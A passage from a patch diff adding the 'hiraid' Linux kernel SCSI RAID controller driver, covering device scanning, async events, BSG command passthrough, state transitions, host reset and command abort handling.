targetid[%d] lun[%d]\n", + devinfo->channel, le16_to_cpu(devinfo->target), 0); + scsi_device_put(sdev); + return -EEXIST; + } + scsi_add_device(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + return 0; +} + +static int hiraid_rescan_device(struct hiraid_dev *hdev, struct hiraid_dev_info *devinfo) +{ + struct Scsi_Host *shost = hdev->shost; + struct scsi_device *sdev; + + dev_info(hdev->dev, "rescan device, hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + le32_to_cpu(devinfo->hdid), le16_to_cpu(devinfo->target), + devinfo->channel, devinfo->lun, devinfo->attr); + + sdev = scsi_device_lookup(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + if (!sdev) { + dev_warn(hdev->dev, "device is not exit rescan it, channel[%d] target_id[%d] lun[%d]\n", + devinfo->channel, le16_to_cpu(devinfo->target), 0); + return -ENODEV; + } + + scsi_rescan_device(&sdev->sdev_gendev); + scsi_device_put(sdev); + return 0; +} + +static int hiraid_delete_device(struct hiraid_dev *hdev, struct hiraid_dev_info *devinfo) +{ + struct Scsi_Host *shost = hdev->shost; + struct scsi_device *sdev; + + dev_info(hdev->dev, "remove device, hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + le32_to_cpu(devinfo->hdid), le16_to_cpu(devinfo->target), + devinfo->channel, devinfo->lun, devinfo->attr); + + sdev = scsi_device_lookup(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + if (!sdev) { + dev_warn(hdev->dev, "device is not exit remove it, channel[%d] target_id[%d] lun[%d]\n", + devinfo->channel, le16_to_cpu(devinfo->target), 0); + return -ENODEV; + } + + scsi_remove_device(sdev); + scsi_device_put(sdev); + return 0; +} + +static int hiraid_dev_list_init(struct hiraid_dev *hdev) +{ + u32 nd = le32_to_cpu(hdev->ctrl_info->nd); + + hdev->dev_info = kzalloc_node(nd * sizeof(struct hiraid_dev_info), + GFP_KERNEL, hdev->numa_node); + if (!hdev->dev_info) + return -ENOMEM; + + return 0; +} + +static int hiraid_luntarget_sort(const void *l, const void *r) +{ + const struct hiraid_dev_info *ln = l; + const struct hiraid_dev_info *rn = r; + int l_attr = HIRAID_DEV_INFO_ATTR_BOOT(ln->attr); + int r_attr = HIRAID_DEV_INFO_ATTR_BOOT(rn->attr); + + /* boot first */ + if (l_attr != r_attr) + return (r_attr - l_attr); + + if (ln->channel == rn->channel) + return le16_to_cpu(ln->target) - le16_to_cpu(rn->target); + + return ln->channel - rn->channel; +} + +static void hiraid_scan_work(struct work_struct *work) +{ + struct hiraid_dev *hdev = + container_of(work, struct hiraid_dev, scan_work); + struct hiraid_dev_info *dev, *old_dev, *new_dev; + u32 nd = le32_to_cpu(hdev->ctrl_info->nd); + u8 flag, org_flag; + int i, ret; + int count = 0; + + dev = kcalloc(nd, sizeof(struct hiraid_dev_info), GFP_KERNEL); + if (!dev) + return; + + new_dev = kcalloc(nd, sizeof(struct hiraid_dev_info), GFP_KERNEL); + if (!new_dev) + goto free_list; + + ret = hiraid_request_devices(hdev, dev); + if (ret) + goto free_all; + old_dev = hdev->dev_info; + for (i = 0; i < nd; i++) { + org_flag = old_dev[i].flag; + flag = dev[i].flag; + + dev_log_dbg(hdev->dev, "i[%d] org_flag[0x%x] flag[0x%x]\n", i, org_flag, flag); + + if (HIRAID_DEV_INFO_FLAG_VALID(flag)) { + if (!HIRAID_DEV_INFO_FLAG_VALID(org_flag)) { + down_write(&hdev->dev_rwsem); + memcpy(&old_dev[i], &dev[i], + sizeof(struct hiraid_dev_info)); + memcpy(&new_dev[count++], &dev[i], + sizeof(struct hiraid_dev_info)); + up_write(&hdev->dev_rwsem); + } else if (HIRAID_DEV_INFO_FLAG_CHANGE(flag)) { + hiraid_rescan_device(hdev, &dev[i]); + } + } else { + if (HIRAID_DEV_INFO_FLAG_VALID(org_flag)) { + down_write(&hdev->dev_rwsem); + old_dev[i].flag &= 0xfe; + up_write(&hdev->dev_rwsem); + hiraid_delete_device(hdev, &old_dev[i]); + } + } + } + + dev_info(hdev->dev, "scan work add device num[%d]\n", count); + + sort(new_dev, count, sizeof(new_dev[0]), hiraid_luntarget_sort, NULL); + + for (i = 0; i < count; i++) + hiraid_add_device(hdev, &new_dev[i]); + +free_all: + kfree(new_dev); +free_list: + kfree(dev); +} + +static void hiraid_timesyn_work(struct work_struct *work) +{ + struct hiraid_dev *hdev = + container_of(work, struct hiraid_dev, timesyn_work); + + hiraid_configure_timestamp(hdev); +} + +static int hiraid_init_control_info(struct hiraid_dev *hdev); +static void hiraid_fwactive_work(struct work_struct *work) +{ + struct hiraid_dev *hdev = container_of(work, struct hiraid_dev, fwact_work); + + if (hiraid_init_control_info(hdev)) + dev_err(hdev->dev, "get controller info failed after fw activation\n"); +} + +static void hiraid_queue_scan(struct hiraid_dev *hdev) +{ + queue_work(work_queue, &hdev->scan_work); +} + +static void hiraid_handle_async_notice(struct hiraid_dev *hdev, u32 result) +{ + switch ((result & 0xff00) >> 8) { + case HIRAID_ASYN_DEV_CHANGED: + hiraid_queue_scan(hdev); + break; + case HIRAID_ASYN_FW_ACT_START: + dev_info(hdev->dev, "fw activation starting\n"); + break; + case HIRAID_ASYN_HOST_PROBING: + break; + default: + dev_warn(hdev->dev, "async event result[%08x]\n", result); + } +} + +static void hiraid_handle_async_vs(struct hiraid_dev *hdev, u32 result, u32 result1) +{ + switch ((result & 0xff00) >> 8) { + case HIRAID_ASYN_TIMESYN: + queue_work(work_queue, &hdev->timesyn_work); + break; + case HIRAID_ASYN_FW_ACT_FINISH: + dev_info(hdev->dev, "fw activation finish\n"); + queue_work(work_queue, &hdev->fwact_work); + break; + case HIRAID_ASYN_EVENT_MIN ... HIRAID_ASYN_EVENT_MAX: + dev_info(hdev->dev, "recv card event[%d] param1[0x%x] param2[0x%x]\n", + (result & 0xff00) >> 8, result, result1); + break; + default: + dev_warn(hdev->dev, "async event result[0x%x]\n", result); + } +} + +static int hiraid_alloc_resources(struct hiraid_dev *hdev) +{ + int ret, nqueue; + + hdev->ctrl_info = kzalloc_node(sizeof(*hdev->ctrl_info), GFP_KERNEL, hdev->numa_node); + if (!hdev->ctrl_info) + return -ENOMEM; + + ret = hiraid_create_prp_pools(hdev); + if (ret) + goto free_ctrl_info; + nqueue = min(num_possible_cpus(), max_hwq_num) + 1; + hdev->queues = kcalloc_node(nqueue, sizeof(struct hiraid_queue), + GFP_KERNEL, hdev->numa_node); + if (!hdev->queues) { + ret = -ENOMEM; + goto destroy_dma_pools; + } + + ret = hiraid_create_admin_cmds(hdev); + if (ret) + goto free_queues; + + dev_info(hdev->dev, "total queues num[%d]\n", nqueue); + + return 0; + +free_queues: + kfree(hdev->queues); +destroy_dma_pools: + hiraid_free_prp_pools(hdev); +free_ctrl_info: + kfree(hdev->ctrl_info); + + return ret; +} + +static void hiraid_free_resources(struct hiraid_dev *hdev) +{ + hiraid_free_admin_cmds(hdev); + kfree(hdev->queues); + hiraid_free_prp_pools(hdev); + kfree(hdev->ctrl_info); +} + +static void hiraid_bsg_buf_unmap(struct hiraid_dev *hdev, struct bsg_job *job) +{ + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_mapmange *mapbuf = job->dd_data; + enum dma_data_direction dma_dir = rq_data_dir(rq) ? DMA_TO_DEVICE : DMA_FROM_DEVICE; + + if (mapbuf->sge_cnt) + dma_unmap_sg(hdev->dev, mapbuf->sgl, mapbuf->sge_cnt, dma_dir); + + hiraid_free_mapbuf(hdev, mapbuf); +} + +static int hiraid_bsg_buf_map(struct hiraid_dev *hdev, struct bsg_job *job, + struct hiraid_admin_command *cmd) +{ + struct hiraid_bsg_request *bsg_req = job->request; + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_mapmange *mapbuf = job->dd_data; + enum dma_data_direction dma_dir = rq_data_dir(rq) ? DMA_TO_DEVICE : DMA_FROM_DEVICE; + int ret = 0; + + /* No data to DMA, it may be scsi no-rw command */ + mapbuf->sge_cnt = job->request_payload.sg_cnt; + mapbuf->sgl = job->request_payload.sg_list; + mapbuf->len = job->request_payload.payload_len; + mapbuf->page_cnt = -1; + if (unlikely(mapbuf->sge_cnt == 0)) + goto out; + + mapbuf->use_sgl = !hiraid_is_prp(hdev, mapbuf->sgl, mapbuf->sge_cnt); + + ret = dma_map_sg_attrs(hdev->dev, mapbuf->sgl, mapbuf->sge_cnt, dma_dir, DMA_ATTR_NO_WARN); + if (!ret) + goto out; + + if ((mapbuf->use_sgl == (bool)true) && (bsg_req->msgcode == HIRAID_BSG_IOPTHRU) && + (hdev->ctrl_info->pt_use_sgl != (bool)false)) { + ret = hiraid_build_passthru_sgl(hdev, cmd, mapbuf); + } else { + mapbuf->use_sgl = false; + + ret = hiraid_build_passthru_prp(hdev, mapbuf); + cmd->common.dptr.prp1 = cpu_to_le64(sg_dma_address(mapbuf->sgl)); + cmd->common.dptr.prp2 = cpu_to_le64(mapbuf->first_dma); + } + + if (ret) + goto unmap; + + return 0; + +unmap: + dma_unmap_sg(hdev->dev, mapbuf->sgl, mapbuf->sge_cnt, dma_dir); +out: + return ret; +} + +static int hiraid_get_control_info(struct hiraid_dev *hdev, struct hiraid_ctrl_info *ctrl_info) +{ + struct hiraid_admin_command admin_cmd; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + int ret; + + data_ptr = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.get_info.opcode = HIRAID_ADMIN_GET_INFO; + admin_cmd.get_info.type = HIRAID_GET_CTRL_INFO; + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); + if (!ret) + memcpy(ctrl_info, data_ptr, sizeof(struct hiraid_ctrl_info)); + + dma_free_coherent(hdev->dev, PAGE_SIZE, data_ptr, buffer_phy); + + return ret; +} + +static int hiraid_init_control_info(struct hiraid_dev *hdev) +{ + int ret; + + hdev->ctrl_info->nd = cpu_to_le32(240); + hdev->ctrl_info->mdts = 8; + hdev->ctrl_info->max_cmds = cpu_to_le16(4096); + hdev->ctrl_info->max_num_sge = cpu_to_le16(128); + hdev->ctrl_info->max_channel = cpu_to_le16(4); + hdev->ctrl_info->max_tgt_id = cpu_to_le32(3239); + hdev->ctrl_info->max_lun = cpu_to_le16(2); + + ret = hiraid_get_control_info(hdev, hdev->ctrl_info); + if (ret) + dev_err(hdev->dev, "get controller info failed[%d]\n", ret); + + dev_info(hdev->dev, "device_num = %d\n", hdev->ctrl_info->nd); + dev_info(hdev->dev, "max_cmd = %d\n", hdev->ctrl_info->max_cmds); + dev_info(hdev->dev, "max_channel = %d\n", hdev->ctrl_info->max_channel); + dev_info(hdev->dev, "max_tgt_id = %d\n", hdev->ctrl_info->max_tgt_id); + dev_info(hdev->dev, "max_lun = %d\n", hdev->ctrl_info->max_lun); + dev_info(hdev->dev, "max_num_sge = %d\n", hdev->ctrl_info->max_num_sge); + dev_info(hdev->dev, "lun_num_boot = %d\n", hdev->ctrl_info->lun_num_boot); + dev_info(hdev->dev, "max_data_transfer_size = %d\n", hdev->ctrl_info->mdts); + dev_info(hdev->dev, "abort_cmd_limit = %d\n", hdev->ctrl_info->acl); + dev_info(hdev->dev, "asyn_event_num = %d\n", hdev->ctrl_info->asynevent); + dev_info(hdev->dev, "card_type = %d\n", hdev->ctrl_info->card_type); + dev_info(hdev->dev, "pt_use_sgl = %d\n", hdev->ctrl_info->pt_use_sgl); + dev_info(hdev->dev, "rtd3e = %d\n", hdev->ctrl_info->rtd3e); + dev_info(hdev->dev, "serial_num = %s\n", hdev->ctrl_info->sn); + dev_info(hdev->dev, "fw_verion = %s\n", hdev->ctrl_info->fw_version); + + if (!hdev->ctrl_info->asynevent) + hdev->ctrl_info->asynevent = 1; + if (hdev->ctrl_info->asynevent > HIRAID_ASYN_COMMANDS) + hdev->ctrl_info->asynevent = HIRAID_ASYN_COMMANDS; + + hdev->scsi_qd = work_mode ? + le16_to_cpu(hdev->ctrl_info->max_cmds) : (hdev->ioq_depth - HIRAID_PTHRU_CMDS_PERQ); + + return 0; +} + +static int hiraid_user_send_admcmd(struct hiraid_dev *hdev, struct bsg_job *job) +{ + struct hiraid_bsg_request *bsg_req = job->request; + struct hiraid_passthru_common_cmd *ptcmd = &(bsg_req->admcmd); + struct hiraid_admin_command admin_cmd; + u32 timeout = msecs_to_jiffies(ptcmd->timeout_ms); + u32 result[2] = {0}; + int status; + + if (hdev->state >= DEV_RESETTING) { + dev_err(hdev->dev, "err, host state[%d] is not right\n", + hdev->state); + return -EBUSY; + } + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.common.opcode = ptcmd->opcode; + admin_cmd.common.flags = ptcmd->flags; + admin_cmd.common.hdid = cpu_to_le32(ptcmd->nsid); + admin_cmd.common.cdw2[0] = cpu_to_le32(ptcmd->cdw2); + admin_cmd.common.cdw2[1] = cpu_to_le32(ptcmd->cdw3); + admin_cmd.common.cdw10 = cpu_to_le32(ptcmd->cdw10); + admin_cmd.common.cdw11 = cpu_to_le32(ptcmd->cdw11); + admin_cmd.common.cdw12 = cpu_to_le32(ptcmd->cdw12); + admin_cmd.common.cdw13 = cpu_to_le32(ptcmd->cdw13); + admin_cmd.common.cdw14 = cpu_to_le32(ptcmd->cdw14); + admin_cmd.common.cdw15 = cpu_to_le32(ptcmd->cdw15); + + status = hiraid_bsg_buf_map(hdev, job, &admin_cmd); + if (status) { + dev_err(hdev->dev, "err, map data failed\n"); + return status; + } + + status = hiraid_put_admin_sync_request(hdev, &admin_cmd, &result[0], &result[1], timeout); + if (status >= 0) { + job->reply_len = sizeof(result); + memcpy(job->reply, result, sizeof(result)); + } + if (status) + dev_info(hdev->dev, "opcode[0x%x] subopcode[0x%x] status[0x%x] result0[0x%x];" + "result1[0x%x]\n", ptcmd->opcode, ptcmd->info_0.subopcode, status, + result[0], result[1]); + + hiraid_bsg_buf_unmap(hdev, job); + + return status; +} + +static int hiraid_alloc_io_ptcmds(struct hiraid_dev *hdev) +{ + u32 i; + u32 ptnum = HIRAID_TOTAL_PTCMDS(hdev->online_queues - 1); + + INIT_LIST_HEAD(&hdev->io_pt_list); + spin_lock_init(&hdev->io_pt_lock); + + hdev->io_ptcmds = kcalloc_node(ptnum, sizeof(struct hiraid_cmd), + GFP_KERNEL, hdev->numa_node); + + if (!hdev->io_ptcmds) { + dev_err(hdev->dev, "alloc io pthrunum failed\n"); + return -ENOMEM; + } + + for (i = 0; i < ptnum; i++) { + hdev->io_ptcmds[i].qid = i / HIRAID_PTHRU_CMDS_PERQ + 1; + hdev->io_ptcmds[i].cid = i % HIRAID_PTHRU_CMDS_PERQ + hdev->scsi_qd; + list_add_tail(&(hdev->io_ptcmds[i].list), &hdev->io_pt_list); + } + + dev_info(hdev->dev, "alloc io pthru cmd success, pthrunum[%d]\n", ptnum); + + return 0; +} + +static void hiraid_free_io_ptcmds(struct hiraid_dev *hdev) +{ + kfree(hdev->io_ptcmds); + hdev->io_ptcmds = NULL; + + INIT_LIST_HEAD(&hdev->io_pt_list); +} + +static int hiraid_put_io_sync_request(struct hiraid_dev *hdev, struct hiraid_scsi_io_cmd *io_cmd, + u32 *result, u32 *reslen, u32 timeout) +{ + int ret; + dma_addr_t buffer_phy; + struct hiraid_queue *ioq; + void *sense_addr = NULL; + struct hiraid_cmd *pt_cmd = hiraid_get_cmd(hdev, HIRAID_CMD_PTHRU); + + if (!pt_cmd) { + dev_err(hdev->dev, "err, get ioq cmd failed\n"); + return -EFAULT; + } + + timeout = timeout ? timeout : ADMIN_TIMEOUT; + + init_completion(&pt_cmd->cmd_done); + + ioq = &hdev->queues[pt_cmd->qid]; + if (work_mode) { + ret = ((pt_cmd->qid - 1) * HIRAID_PTHRU_CMDS_PERQ + pt_cmd->cid) * + SCSI_SENSE_BUFFERSIZE; + sense_addr = hdev->sense_buffer_virt + ret; + buffer_phy = hdev->sense_buffer_phy + ret; + } else { + ret = pt_cmd->cid * SCSI_SENSE_BUFFERSIZE; + sense_addr = ioq->sense_buffer_virt + ret; + buffer_phy = ioq->sense_buffer_phy + ret; + } + + io_cmd->common.sense_addr = cpu_to_le64(buffer_phy); + io_cmd->common.sense_len = cpu_to_le16(SCSI_SENSE_BUFFERSIZE); + io_cmd->common.cmd_id = cpu_to_le16(pt_cmd->cid); + + hiraid_submit_cmd(ioq, io_cmd); + + if (!wait_for_completion_timeout(&pt_cmd->cmd_done, timeout)) { + dev_err(hdev->dev, "cid[%d] qid[%d] timeout, opcode[0x%x] subopcode[0x%x]\n", + pt_cmd->cid, pt_cmd->qid, io_cmd->common.opcode, + (le32_to_cpu(io_cmd->common.cdw3[0]) & 0xffff)); + + hiraid_admin_timeout(hdev, pt_cmd); + + hiraid_put_cmd(hdev, pt_cmd, HIRAID_CMD_PTHRU); + return -ETIME; + } + + if (result && reslen) { + if ((pt_cmd->status & 0x17f) == 0x101) { + memcpy(result, sense_addr, SCSI_SENSE_BUFFERSIZE); + *reslen = SCSI_SENSE_BUFFERSIZE; + } + } + + hiraid_put_cmd(hdev, pt_cmd, HIRAID_CMD_PTHRU); + + return pt_cmd->status; +} + +static int hiraid_user_send_ptcmd(struct hiraid_dev *hdev, struct bsg_job *job) +{ + struct hiraid_bsg_request *bsg_req = (struct hiraid_bsg_request *)(job->request); + struct hiraid_passthru_io_cmd *cmd = &(bsg_req->pthrucmd); + struct hiraid_scsi_io_cmd pthru_cmd; + int status = 0; + u32 timeout = msecs_to_jiffies(cmd->timeout_ms); + // data len is 4k before use sgl, now len is 1M + u32 io_pt_data_len = (hdev->ctrl_info->pt_use_sgl == (bool)true) ? + IOQ_PT_SGL_DATA_LEN : IOQ_PT_DATA_LEN; + + if (cmd->data_len > io_pt_data_len) { + dev_err(hdev->dev, "data len bigger than %d\n", io_pt_data_len); + return -EFAULT; + } + + if (hdev->state != DEV_LIVE) { + dev_err(hdev->dev, "err, host state[%d] is not live\n", hdev->state); + return -EBUSY; + } + + memset(&pthru_cmd, 0, sizeof(pthru_cmd)); + pthru_cmd.common.opcode = cmd->opcode; + pthru_cmd.common.flags = cmd->flags; + pthru_cmd.common.hdid = cpu_to_le32(cmd->nsid); + pthru_cmd.common.sense_len = cpu_to_le16(cmd->info_0.res_sense_len); + pthru_cmd.common.cdb_len = cmd->info_0.cdb_len; + pthru_cmd.common.rsvd2 = cmd->info_0.rsvd0; + pthru_cmd.common.cdw3[0] = cpu_to_le32(cmd->cdw3); + pthru_cmd.common.cdw3[1] = cpu_to_le32(cmd->cdw4); + pthru_cmd.common.cdw3[2] = cpu_to_le32(cmd->cdw5); + + pthru_cmd.common.cdw10[0] = cpu_to_le32(cmd->cdw10); + pthru_cmd.common.cdw10[1] = cpu_to_le32(cmd->cdw11); + pthru_cmd.common.cdw10[2] = cpu_to_le32(cmd->cdw12); + pthru_cmd.common.cdw10[3] = cpu_to_le32(cmd->cdw13); + pthru_cmd.common.cdw10[4] = cpu_to_le32(cmd->cdw14); + pthru_cmd.common.cdw10[5] = cpu_to_le32(cmd->data_len); + + memcpy(pthru_cmd.common.cdb, &cmd->cdw16, cmd->info_0.cdb_len); + + pthru_cmd.common.cdw26[0] = cpu_to_le32(cmd->cdw26[0]); + pthru_cmd.common.cdw26[1] = cpu_to_le32(cmd->cdw26[1]); + pthru_cmd.common.cdw26[2] = cpu_to_le32(cmd->cdw26[2]); + pthru_cmd.common.cdw26[3] = cpu_to_le32(cmd->cdw26[3]); + + status = hiraid_bsg_buf_map(hdev, job, (struct hiraid_admin_command *)&pthru_cmd); + if (status) { + dev_err(hdev->dev, "err, map data failed\n"); + return status; + } + + status = hiraid_put_io_sync_request(hdev, &pthru_cmd, job->reply, &job->reply_len, timeout); + + if (status) + dev_info(hdev->dev, "opcode[0x%x] subopcode[0x%x] status[0x%x] replylen[%d]\n", + cmd->opcode, cmd->info_1.subopcode, status, job->reply_len); + + hiraid_bsg_buf_unmap(hdev, job); + + return status; +} + +static bool hiraid_check_scmd_finished(struct scsi_cmnd *scmd) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + struct hiraid_queue *hiraidq; + + hiraidq = mapbuf->hiraidq; + if (!hiraidq) + return false; + if (READ_ONCE(mapbuf->state) == CMD_COMPLETE || hiraid_poll_cq(hiraidq, mapbuf->cid)) { + dev_warn(hdev->dev, "cid[%d] qid[%d] has been completed\n", + mapbuf->cid, hiraidq->qid); + return true; + } + return false; +} + +static enum blk_eh_timer_return hiraid_timed_out(struct scsi_cmnd *scmd) +{ + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + unsigned int timeout = scmd->device->request_queue->rq_timeout; + + if (hiraid_check_scmd_finished(scmd)) + goto out; + + if (time_after(jiffies, scmd->jiffies_at_alloc + timeout)) { + if (cmpxchg(&mapbuf->state, CMD_FLIGHT, CMD_TIMEOUT) == CMD_FLIGHT) + return BLK_EH_DONE; + } +out: + return BLK_EH_RESET_TIMER; +} + +/* send abort command by admin queue temporary */ +static int hiraid_send_abort_cmd(struct hiraid_dev *hdev, u32 hdid, u16 qid, u16 cid) +{ + struct hiraid_admin_command admin_cmd; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.abort.opcode = HIRAID_ADMIN_ABORT_CMD; + admin_cmd.abort.hdid = cpu_to_le32(hdid); + admin_cmd.abort.sqid = cpu_to_le16(qid); + admin_cmd.abort.cid = cpu_to_le16(cid); + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +/* send reset command by admin quueue temporary */ +static int hiraid_send_reset_cmd(struct hiraid_dev *hdev, u8 type, u32 hdid) +{ + struct hiraid_admin_command admin_cmd; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.reset.opcode = HIRAID_ADMIN_RESET; + admin_cmd.reset.hdid = cpu_to_le32(hdid); + admin_cmd.reset.type = type; + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +static bool hiraid_dev_state_trans(struct hiraid_dev *hdev, enum hiraid_dev_state new_state) +{ + unsigned long flags; + enum hiraid_dev_state old_state; + bool change = false; + + spin_lock_irqsave(&hdev->state_lock, flags); + + old_state = hdev->state; + switch (new_state) { + case DEV_LIVE: + switch (old_state) { + case DEV_NEW: + case DEV_RESETTING: + change = true; + break; + default: + break; + } + break; + case DEV_RESETTING: + switch (old_state) { + case DEV_LIVE: + change = true; + break; + default: + break; + } + break; + case DEV_DELETING: + if (old_state != DEV_DELETING) + change = true; + break; + case DEV_DEAD: + switch (old_state) { + case DEV_NEW: + case DEV_LIVE: + case DEV_RESETTING: + change = true; + break; + default: + break; + } + break; + default: + break; + } + if (change) + hdev->state = new_state; + spin_unlock_irqrestore(&hdev->state_lock, flags); + + dev_info(hdev->dev, "oldstate[%d]->newstate[%d], change[%d]\n", + old_state, new_state, change); + + return change; +} + +static void hiraid_drain_pending_ios(struct hiraid_dev *hdev); + +static void hiraid_flush_running_cmds(struct hiraid_dev *hdev) +{ + int i, j; + + scsi_block_requests(hdev->shost); + hiraid_drain_pending_ios(hdev); + scsi_unblock_requests(hdev->shost); + + j = HIRAID_AQ_BLK_MQ_DEPTH; + for (i = 0; i < j; i++) { + if (READ_ONCE(hdev->adm_cmds[i].state) == CMD_FLIGHT) { + dev_info(hdev->dev, "flush admin, cid[%d]\n", i); + hdev->adm_cmds[i].status = 0xFFFF; + WRITE_ONCE(hdev->adm_cmds[i].state, CMD_COMPLETE); + complete(&(hdev->adm_cmds[i].cmd_done)); + } + } + + j = HIRAID_TOTAL_PTCMDS(hdev->online_queues - 1); + for (i = 0; i < j; i++) { + if (READ_ONCE(hdev->io_ptcmds[i].state) == CMD_FLIGHT) { + hdev->io_ptcmds[i].status = 0xFFFF; + WRITE_ONCE(hdev->io_ptcmds[i].state, CMD_COMPLETE); + complete(&(hdev->io_ptcmds[i].cmd_done)); + } + } +} + +static int hiraid_dev_disable(struct hiraid_dev *hdev, bool shutdown) +{ + int ret = -ENODEV; + struct hiraid_queue *adminq = &hdev->queues[0]; + u16 start, end; + + if (pci_device_is_present(hdev->pdev)) { + if (shutdown) + hiraid_shutdown_control(hdev); + else + ret = hiraid_disable_control(hdev); + } + + if (hdev->queue_count == 0) { + dev_err(hdev->dev, "warn: queue has been delete\n"); + return ret; + } + + spin_lock_irq(&adminq->cq_lock); + hiraid_process_cq(adminq, &start, &end, -1); + spin_unlock_irq(&adminq->cq_lock); + hiraid_complete_cqes(adminq, start, end); + + hiraid_pci_disable(hdev); + + hiraid_flush_running_cmds(hdev); + + return ret; +} + +static void hiraid_reset_work(struct work_struct *work) +{ + int ret = 0; + struct hiraid_dev *hdev = container_of(work, struct hiraid_dev, reset_work); + + if (hdev->state != DEV_RESETTING) { + dev_err(hdev->dev, "err, host is not reset state\n"); + return; + } + + dev_info(hdev->dev, "enter host reset\n"); + + if (hdev->ctrl_config & HIRAID_CC_ENABLE) { + dev_info(hdev->dev, "start dev_disable\n"); + ret = hiraid_dev_disable(hdev, false); + } + + if (ret) + goto out; + + ret = hiraid_pci_enable(hdev); + if (ret) + goto out; + + ret = hiraid_setup_admin_queue(hdev); + if (ret) + goto pci_disable; + + ret = hiraid_setup_io_queues(hdev); + if (ret || hdev->online_queues != hdev->last_qcnt) + goto pci_disable; + + hiraid_dev_state_trans(hdev, DEV_LIVE); + + hiraid_init_async_event(hdev); + + hiraid_queue_scan(hdev); + + return; + +pci_disable: + hiraid_pci_disable(hdev); +out: + hiraid_dev_state_trans(hdev, DEV_DEAD); + dev_err(hdev->dev, "err, host reset failed\n"); +} + +static int hiraid_reset_work_sync(struct hiraid_dev *hdev) +{ + if (!hiraid_dev_state_trans(hdev, DEV_RESETTING)) { + dev_info(hdev->dev, "can't change to reset state\n"); + return -EBUSY; + } + + if (!queue_work(work_queue, &hdev->reset_work)) { + dev_err(hdev->dev, "err, host is already in reset state\n"); + return -EBUSY; + } + + flush_work(&hdev->reset_work); + if (hdev->state != DEV_LIVE) + return -ENODEV; + + return 0; +} + +static int hiraid_wait_io_completion(struct hiraid_mapmange *mapbuf) +{ + u16 times = 0; + + do { + if (READ_ONCE(mapbuf->state) == CMD_TMO_COMPLETE) + break; + msleep(500); + times++; + } while (times <= HIRAID_WAIT_ABNL_CMD_TIMEOUT); + + /* wait command completion timeout after abort/reset success */ + if (times >= HIRAID_WAIT_ABNL_CMD_TIMEOUT) + return -ETIMEDOUT; + + return 0; +} + +static bool hiraid_tgt_rst_pending_io_count(struct request *rq, void *data, bool reserved) +{ + unsigned int id = *(unsigned int *)data; + struct scsi_cmnd *scmd = blk_mq_rq_to_pdu(rq); + struct hiraid_mapmange *mapbuf; + struct hiraid_sdev_hostdata *hostdata; + + if (scmd) { + mapbuf = scsi_cmd_priv(scmd); + if ((mapbuf->state == CMD_FLIGHT) || (mapbuf->state == CMD_TIMEOUT)) { + if ((scmd->device) && (scmd->device->id == id)) { + hostdata = scmd->device->hostdata; + hostdata->pend_count++; + } + } + } + return true; +} +static bool hiraid_clean_pending_io(struct request *rq, void *data, bool reserved) +{ + struct hiraid_dev *hdev = data; + struct scsi_cmnd *scmd; + struct hiraid_mapmange *mapbuf; + + if (unlikely(!rq || !blk_mq_request_started(rq))) + return true; + + scmd = blk_mq_rq_to_pdu(rq); + mapbuf = scsi_cmd_priv(scmd); + + if ((cmpxchg(&mapbuf->state, CMD_FLIGHT, CMD_COMPLETE) != CMD_FLIGHT) && + (cmpxchg(&mapbuf->state, CMD_TIMEOUT, CMD_COMPLETE) != CMD_TIMEOUT)) + return true; + + set_host_byte(scmd, DID_NO_CONNECT); + if (mapbuf->sge_cnt) + scsi_dma_unmap(scmd); + hiraid_free_mapbuf(hdev, mapbuf); + dev_warn_ratelimited(hdev->dev, "back unfinished CQE, cid[%d] qid[%d]\n", + mapbuf->cid, mapbuf->hiraidq->qid); + scmd->scsi_done(scmd); + + return true; +} + +static void hiraid_drain_pending_ios(struct hiraid_dev *hdev) +{ + blk_mq_tagset_busy_iter(&hdev->shost->tag_set, hiraid_clean_pending_io, (void *)(hdev)); +} + +static int wait_tgt_reset_io_done(struct scsi_cmnd *scmd) +{ + u16 timeout = 0; + struct hiraid_sdev_hostdata *hostdata; + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + + hostdata = scmd->device->hostdata; + + do { + hostdata->pend_count = 0; + blk_mq_tagset_busy_iter(&hdev->shost->tag_set, hiraid_tgt_rst_pending_io_count, + (void *)(&scmd->device->id)); + + if (!hostdata->pend_count) + return 0; + + msleep(500); + timeout++; + } while (timeout <= HIRAID_WAIT_RST_IO_TIMEOUT); + + return -ETIMEDOUT; +} + +static int hiraid_abort(struct scsi_cmnd *scmd) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + struct hiraid_sdev_hostdata *hostdata; + u16 hwq, cid; + int ret; + + scsi_print_command(scmd); + + if (hdev->state != DEV_LIVE || !hiraid_wait_io_completion(mapbuf) || + hiraid_check_scmd_finished(scmd)) + return SUCCESS; + + hostdata = scmd->device->hostdata; + cid = mapbuf->cid; + hwq = mapbuf->hiraidq->qid; + + dev_warn(hdev->dev, "cid[%d] qid[%d] timeout, send abort\n", cid, hwq); + ret = hiraid_send_abort_cmd(hdev, hostdata->hdid, hwq, cid); + if (ret != -ETIME) { + ret = hiraid_wait_io_completion(mapbuf); + if (ret) { + dev_warn(hdev->dev, "cid[%d] qid[%d] abort failed, not found\n", cid, hwq); + return FAILED; + } + 